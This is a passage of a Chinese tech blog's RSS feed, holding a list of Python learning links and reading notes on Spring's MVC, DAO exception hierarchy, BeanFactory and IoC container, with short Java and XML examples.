&lt;p&gt;刚开始，你可能不知道module，package，这些都傻，先看看这篇文章&lt;a href=&#34;http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/0013868200171577d6385bb5b4f4875bee9cbf0f0fa29c5000&#34;&gt;python模块&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果你比较纳闷那个命名中的双下划线，但下划线都啥意思，看看&lt;a href=&#34;http://igorsobreira.com/2010/09/16/difference-between-one-underline-and-two-underlines-in-python.html&#34;&gt;单下划线和双下划线区别&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;之后，你可能想看看一个系统的组织，那么看看&lt;a href=&#34;http://docs.python-guide.org/en/latest/&#34;&gt;python最佳实践指南全版&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果你觉得上面的太多，看看&lt;a href=&#34;http://wklken.me/posts/2013/11/25/summary-of-the-hitchhikers-guide-2-python.html&#34;&gt;中文的摘要版&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;后来我看到一个yield，不太明白，于是我看到了&lt;a href=&#34;http://www.ibm.com/developerworks/cn/opensource/os-cn-python-yield/&#34;&gt;Python yield 使用浅析&lt;/a&gt;，只能说写的真是好，就是迭代器生成的&lt;/p&gt;
&lt;p&gt;想看看正则？看看&lt;a href=&#34;http://www.cnblogs.com/huxi/archive/2010/07/04/1771073.html&#34;&gt;python正则表达式指南，&lt;/a&gt;非常全面&lt;/p&gt;
&lt;p&gt;我只是想发个http请求，如果你用了python3.x，报错，Import error: No module name urllib，那么看看&lt;a href=&#34;http://stackoverflow.com/questions/2792650/python3-error-import-error-no-module-name-urllib&#34;&gt;urllib&lt;/a&gt;这个坑，你可能要看看，你没有看错，他们合并了。。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://woodpecker.org.cn/diveintopython/toc/index.html&#34;&gt; Dive into Python &lt;/a&gt;中文也看看，不要在意细节。&lt;/p&gt;
&lt;p&gt;最后好像看看&lt;a href=&#34;http://book.douban.com/subject/3285148/&#34;&gt;&lt;strong&gt;Expert Python&lt;/strong&gt; Programming&lt;/a&gt;，因为我没看。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spring揭秘-23章，Spring MVC初体验</title>
      <link>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-23%E7%AB%A0spring-mvc%E5%88%9D%E4%BD%93%E9%AA%8C/</link>
      <pubDate>Sun, 13 Jul 2014 11:26:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-23%E7%AB%A0spring-mvc%E5%88%9D%E4%BD%93%E9%AA%8C/</guid>
      <description>&lt;p&gt; 鸟瞰Spring MVC&lt;div&gt;与其他请求驱动的Web框架思路类似。org.springframework.web.servlet.DispatcherServlet就是Spring mvC中的Front Controller。负责处理请求，但是不针对具体的处理逻辑。而是委派给下一级的控制器，也就是&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;org.springframework.web.servlet.mvc.Controller&lt;/span&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;去执行。&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;
&lt;/span&gt;&lt;/div&gt;&lt;div&gt;DispatcherServlet的处理流程如下：&lt;/div&gt;&lt;div&gt;1.HandlerMapping&lt;/div&gt;&lt;div&gt;DispathcherServlet是FrontController，所以他服务于一组Web请求，需要在web.xml中配置。&lt;/div&gt;&lt;div&gt;DispathcherServlet需要自己处理请求和处理之前的对应关系，比如根据参数对应到不同的Controller上。为了更加方便的处理映射的匹配，引入&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;HandlerMapping用来获取需要处理请求的对应的Controller类。&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;&lt;div&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;2.Controller&lt;/span&gt;&lt;/div&gt;&lt;div&gt;对应于&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;DispathcherServlet的次级控制器，本身实现了对应某个具体Web请求的处理逻辑，当&lt;/span&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;HandlerMapping查到了Controller之后，&lt;/span&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;DispathcherServlet获得了&lt;/span&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;HandlerMapping的返回结果。然后调用Controller处理请求，处理完成后，返回一个ModelAndView实例，里面包含两部分内容&lt;/span&gt;&lt;/div&gt;&lt;div&gt;视图的逻辑名称，&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;DispathcherServlet根据名称决定显示哪个视图&lt;/span&gt;&lt;/div&gt;&lt;div&gt;模型数据，渲染过程中需要将这些模型数据并入视图的显示中&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;ViewResolver和View&lt;/div&gt;&lt;div&gt;我们已经来到了最后一步，要转成最终的JSP视图文件。由于模板引擎很多，Spring提供了一套基于ViewResolver和View的抽象层。&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;![](/images/fc45dedeba68b31c39383776fc7a7a35eba30a5a.jpg)
&lt;/div&gt;
&lt;div&gt;[来自为知笔记(Wiz)](http://www.wiz.cn/i/e0140d75 &#34;来自为知笔记(Wiz)&#34;)&lt;/div&gt;</description>
    </item>
    <item>
      <title>Spring揭秘-22章，迈向Spring MVC的旅程</title>
      <link>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-22%E7%AB%A0%E8%BF%88%E5%90%91spring-mvc%E7%9A%84%E6%97%85%E7%A8%8B/</link>
      <pubDate>Sun, 13 Jul 2014 11:25:39 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-22%E7%AB%A0%E8%BF%88%E5%90%91spring-mvc%E7%9A%84%E6%97%85%E7%A8%8B/</guid>
      <description>&lt;p&gt;Spring揭秘-22章，迈向Spring MVC的旅程&lt;div&gt;&lt;/p&gt;
&lt;/div&gt;&lt;div&gt;Servlet导致数据访问逻辑和业务处理逻辑和对应的视图渲染逻辑相互混杂。之后，JSP出现，通过将输出渲染以模板的形式抽取到jsp后缀的模板文件中，jsp开始繁盛，同时要注意，Servlet处理web请求的时候，要在web.xml中，注册相应的请求url和具体的Serlet的映射关系。于是，jsp有开始混合着写代码&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;于是，我们引入了JavaBean,来封装相关业务逻辑，经过一次升级后，&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;![](/images/e6af173baae0c480b8dddc398ce8dd3078b260e4.jpg)
&lt;/div&gt;&lt;div&gt;这个模型就比较清楚了。但是和MVC还是有点差别&lt;/div&gt;&lt;div&gt;一个典型的mvc模式应该是这样的&lt;/div&gt;&lt;div&gt;![](/images/4bcce41a42b7cc021f4b726da1c3533cc5371a21.jpg)
&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;控制器处理请求，模型封装逻辑和状态，视图给用户，&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;Structs以请求/响应框架为基础。&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;Spring MVC属于请求渠道的WEb框架。框架引入Front Controller做分发之后，就更加好管理了。&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;div&gt;![](/images/131d593fd9a36cfc8180a4b86495208a356ae563.jpg)
&lt;/div&gt;
&lt;div&gt;[来自为知笔记(Wiz)](http://www.wiz.cn/i/e0140d75 &#34;来自为知笔记(Wiz)&#34;)&lt;/div&gt;</description>
    </item>
    <item>
      <title>Spring揭秘-第13章 统一的数据访问异常层次体系</title>
      <link>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC13%E7%AB%A0-%E7%BB%9F%E4%B8%80%E7%9A%84%E6%95%B0%E6%8D%AE%E8%AE%BF%E9%97%AE%E5%BC%82%E5%B8%B8%E5%B1%82%E6%AC%A1%E4%BD%93%E7%B3%BB/</link>
      <pubDate>Sun, 13 Jul 2014 11:25:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC13%E7%AB%A0-%E7%BB%9F%E4%B8%80%E7%9A%84%E6%95%B0%E6%8D%AE%E8%AE%BF%E9%97%AE%E5%BC%82%E5%B8%B8%E5%B1%82%E6%AC%A1%E4%BD%93%E7%B3%BB/</guid>
      <description>&lt;p&gt;Spring揭秘-第13章 统一的数据访问异常层次体系&lt;/p&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;DAO可以分离数据哭的访问和存储，屏蔽各种数据访问方式的差异性，下面以访问顾客信息为例，使用DAO模式&lt;/div&gt;
&lt;div&gt;首先定义一个数据访问对象接口，如下&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div class=&#34;kwd&#34;&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;    public interrface ICustomerDao{
    Customer findCustomerByPK(String customerId);
    void updateCustomerStatus(Customer customer);&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;div class=&#34;kwd&#34;&gt;之后，所有的数据访问都通过该接口进行，不论底层存储机制如何改变，DAO的实现因此会扩展，但客户端代码不需要调整&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;客户端要用的时候这样使用即可。&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;    publicclassCustomerService
    {
    privateICustomerDao customerDao;
    publicvoid disableCustomerCampain(String customerId)
    {
    Customer customer=getCustomerDao().findCustomerByPK(customerId);
    customer.setCampainStatus(CampainStatus.DISABLE);
    getCustomerDao().updateCustomerStatus(customer);
    }
    publicICustomerDao getCustomerDao()
    {
    return customerDao;
    }
    publicvoid setCustomerDao(ICustomerDao customerDao)
    {
    this.customerDao=customerDao;
    }&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;我们只要针对不同的数据存储方式实现不同的Dao类即可。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;我们开始实现具体的访问数据了。&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;    publicCustomer findCustomerByPK(String customerId)
    {
    Connection con=null;
    try{
    con=getDataSource().getConnection();
    Customer cust=..;
    return cust;
    }
    catch(SQLException e){
    //这里咋办，直接抛出还是直接处理？
    }
    finally{
    releaseConnection(con);
    }
    }
    privatevoid releaseConnection(Connection con){
    }&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span class=&#34;typ&#34; style=&#34;font-family: Consolas, &#39;Liberation Mono&#39;, Menlo, Courier, monospace; line-height: 18px; white-space: pre; background-color: #f7f7f9;&#34;&gt;SQLException&lt;/span&gt;&lt;span class=&#34;pln&#34; style=&#34;font-family: Consolas, &#39;Liberation Mono&#39;, Menlo, Courier, monospace; line-height: 18px; white-space: pre; background-color: #f7f7f9;&#34;&gt; 是checked exception，如果在DAO的实现类里直接处理掉，那么客户端怎么知道发生了问题，&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span class=&#34;pln&#34; style=&#34;font-family: Consolas, &#39;Liberation Mono&#39;, Menlo, Courier, monospace; line-height: 18px; white-space: pre; background-color: #f7f7f9;&#34;&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span class=&#34;pln&#34; style=&#34;font-family: Consolas, &#39;Liberation Mono&#39;, Menlo, Courier, monospace; line-height: 18px; white-space: pre; background-color: #f7f7f9;&#34;&gt;于是，只能处理，那么客户端的签名就要改了&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;span class=&amp;quot;typ&amp;quot;&amp;gt;Customer&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; findCustomerByPK&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;typ&amp;quot;&amp;gt;String&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pln&amp;quot;&amp;gt; customerId&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;kwd&amp;quot;&amp;gt;throws&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;typ&amp;quot;&amp;gt;SQLExcepiton&amp;lt;/span&amp;gt;&amp;lt;span class=&amp;quot;pun&amp;quot;&amp;gt;;&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;ICustomerDao也要改了，可是这样的话&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;如果数据在其他方式存储，那么其他类型的异常捕获就要继续添加到方法签名。由于数据访问机制的不同，导致这个接口签名不断在变化。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;那怎么办呢？DAO如此美好的远景。&lt;/div&gt;
&lt;div&gt;直接抛出，的话，因此，可以根据发生的异常信息封装成不同的unchecked exception，然后抛出，这样方法签名不用改。因为unchecked不需要编译器检查。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;要开始写了？Spring的数据访问异常层次体系已经给我们做完了&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;该体系下面所有的异常类型均以DataAccessException为统领，然后划分成不同的子类型&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;![](/images/3ab324530a8c3d0b0216d3f7549ebbfa6b7869f4.jpg)&lt;/div&gt;
&lt;div&gt;这些类是啥搜索一下，或者根据名字猜一下，之后我们就可以&lt;/div&gt;
&lt;/div&gt;</description>
    </item>
    <item>
      <title>Spring揭秘-第四章BeanFactory笔记</title>
      <link>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC%E5%9B%9B%E7%AB%A0beanfactory%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sun, 13 Jul 2014 11:20:09 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC%E5%9B%9B%E7%AB%A0beanfactory%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;div&gt;&lt;/div&gt;
&lt;div&gt;之前说了，IoC容器就是一个IoC Service Provider，但是容器是个啥意思？![](/images/d4d1615a6c1a06895088631c37e3fca7692f0b8a.png)&lt;/div&gt;
&lt;div&gt;可以看到IoC容器提供了更多的内容，&lt;/div&gt;
&lt;div&gt;Spring的IoC容器又分成两种，&lt;/div&gt;
&lt;div&gt;1.BeanFactory&lt;/div&gt;
&lt;div&gt;。基础类型IoC容器，提供完整的IoC服务支持。如果没有特殊指定，默认采用延 迟初始化策略（lazy-load）。只有当客户端对象需要访问容器中的某个受管对象的时候，才对 该受管对象进行初始化以及依赖注入操作。所以，相对来说，容器启动初期速度较快，所需 要的资源有限。对于资源有限，并且功能要求不是很严格的场景，BeanFactory是比较合适的 IoC容器选择。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;2.ApplicationContext。ApplicationContext在BeanFactory的基础上构建，是相对比较高 级的容器实现，除了拥有BeanFactory的所有支持，ApplicationContext还提供了其他高级&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;特性，比如事件发布、国际化信息支持等，这些会在后面详述。ApplicationContext所管理 的对象，在该类型容器启动之后，默认全部初始化并绑定完成。所以，相对于BeanFactory来 说，ApplicationContext要求更多的系统资源，同时，因为在启动时就完成所有初始化，容 器启动时间较之BeanFactory也会长一些。在那些系统资源充足，并且要求更多功能的场景中， ApplicationContext类型的容器是比较合适的选择。 &lt;/span&gt;&lt;/div&gt;
&lt;div&gt; 通过 图4-2，我们可以对BeanFactory和ApplicationContext之间的关系有一个更清晰的认识。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;![](/images/f531ea3e11bb391453eb5f763283398c938634b2.png)&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;Bean工长，就是生成Bean的嘛，每个业务对象被看成Javabean,我们与工厂打交道就简单得多，我们只要告诉他我要什么对象，至于怎么组装，那是他的事情。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;工厂提供了一些对外的接口，比如获取Bean，渠道Bean的状态等等。&lt;/div&gt;
&lt;div&gt;以xml为例&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; 
&amp;lt;!DOCTYPE beans PUBLIC &#34;-//SPRING//DTD BEAN//EN&#34; &#34;http://www.springframework.org/dtd/spring-beans.dtd&#34;&amp;gt;  
&amp;lt;beans&amp;gt;  
 &amp;lt;bean id=&#34;djNewsProvider&#34; class=&#34;..FXNewsProvider&#34;&amp;gt;   
    &amp;lt;constructor-arg index=&#34;0&#34;&amp;gt;    
       &amp;lt;ref bean=&#34;djNewsListener&#34;/&amp;gt;   
     &amp;lt;/constructor-arg&amp;gt;   
   &amp;lt;constructor-arg index=&#34;1&#34;&amp;gt;    
       &amp;lt;ref bean=&#34;djNewsPersister&#34;/&amp;gt;   
   &amp;lt;/constructor-arg&amp;gt;  
 &amp;lt;/bean&amp;gt;    
 &amp;lt;bean id=&#34;djNewsListener&#34; class=&#34;..impl.DowJonesNewsListener&#34;&amp;gt;  
 &amp;lt;/bean&amp;gt;  
 &amp;lt;bean id=&#34;djNewsPersister&#34; class=&#34;..impl.DowJonesNewsPersister&#34;&amp;gt;  
 &amp;lt;/bean&amp;gt; 
&amp;lt;/beans&amp;gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;然后&lt;/div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public static void main(String[] args)  {
   DefaultListableBeanFactory beanRegistry = new DefaultListableBeanFactory();     
   BeanFactory container = (BeanFactory)bindViaXMLFile(beanRegistry);  
   FXNewsProvider newsProvider = (FXNewsProvider)container.getBean(&#34;djNewsProvider&#34;); 
   newsProvider.getAndPersistNews(); 
}  
public static BeanFactory bindViaXMLFile(BeanDefinitionRegistry registry)  
{  
XmlBeanDefinitionReader reader = new XmlBeanDefinitionReader(registry);  
reader.loadBeanDefinitions(&#34;classpath:../news-config.xml&#34;);   
return (BeanFactory)registry;  // 或者直接  
//return new XmlBeanFactory(new ClassPathResource(&#34;../news-config.xml&#34;));
 }&lt;/pre&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;人生好像就美好&lt;/div&gt;</description>
    </item>
    <item>
      <title>Spring揭秘-第三章IoC Service Provider读书笔记</title>
      <link>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC%E4%B8%89%E7%AB%A0ioc-service-provider%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sun, 13 Jul 2014 11:18:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/07/13/spring%E6%8F%AD%E7%A7%98-%E7%AC%AC%E4%B8%89%E7%AB%A0ioc-service-provider%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;&lt;span style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; display: inline !important; float: none;&#34;&gt;我们虽然已经通过IoC声明了相应的依赖，但是最终总要有个啥东西将这些依赖对象绑定在一起，这里而IoC Service Provider, 来啦，表示一种绑定的实现方式，可以使一段代码，也可以是一组相关的泪，甚至是框架或容器。&lt;/span&gt;&lt;/p&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;比如前一篇提到的&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;IFXNewsListener newsListener = new DowJonesNewsListener(); 
IFXNewsPersister newsPersister = new DowJonesNewsPersister(); 
FXNewsProvider newsProvider = new FXNewsProvider(newsListener,newsPersister); 
newsProvider.getAndPersistNews();&lt;/pre&gt;
&amp;nbsp;
&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;就是一个容器，只不过太简单了，不适用于更多的场景，&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;IoC容器就是Spring提供依赖注入服务的Provider&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;I&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;oC Service Provider 是干嘛？&lt;/span&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;1.业务对象的构建管理，剥离客户端对象的构建的依赖逻辑，比如A引用B，那么A是B的客户端对象，容器需要理清这种关系。&lt;/span&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt;2.业务对象之间的依赖绑定，通过1的实现， 识别各个对象的依赖关系，然后将这些对象依赖的对象注入绑定，用的时候就有了。&lt;/span&gt;&lt;/div&gt;
&lt;div style=&#34;color: #000000; font-family: &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, SimSun, &#39;Segoe UI&#39;, Tahoma, Helvetica, sans-serif, &#39;Microsoft YaHei&#39;, Georgia, Helvetica, Arial, sans-serif, 宋体, PMingLiU, serif; font-size: 14.399999618530273px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 16.799999237060547px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&#34;&gt;&lt;span style=&#34;font-size: 10.5pt; line-height: 1.5;&#34;&gt; &lt;/span&gt;&lt;/div&gt;
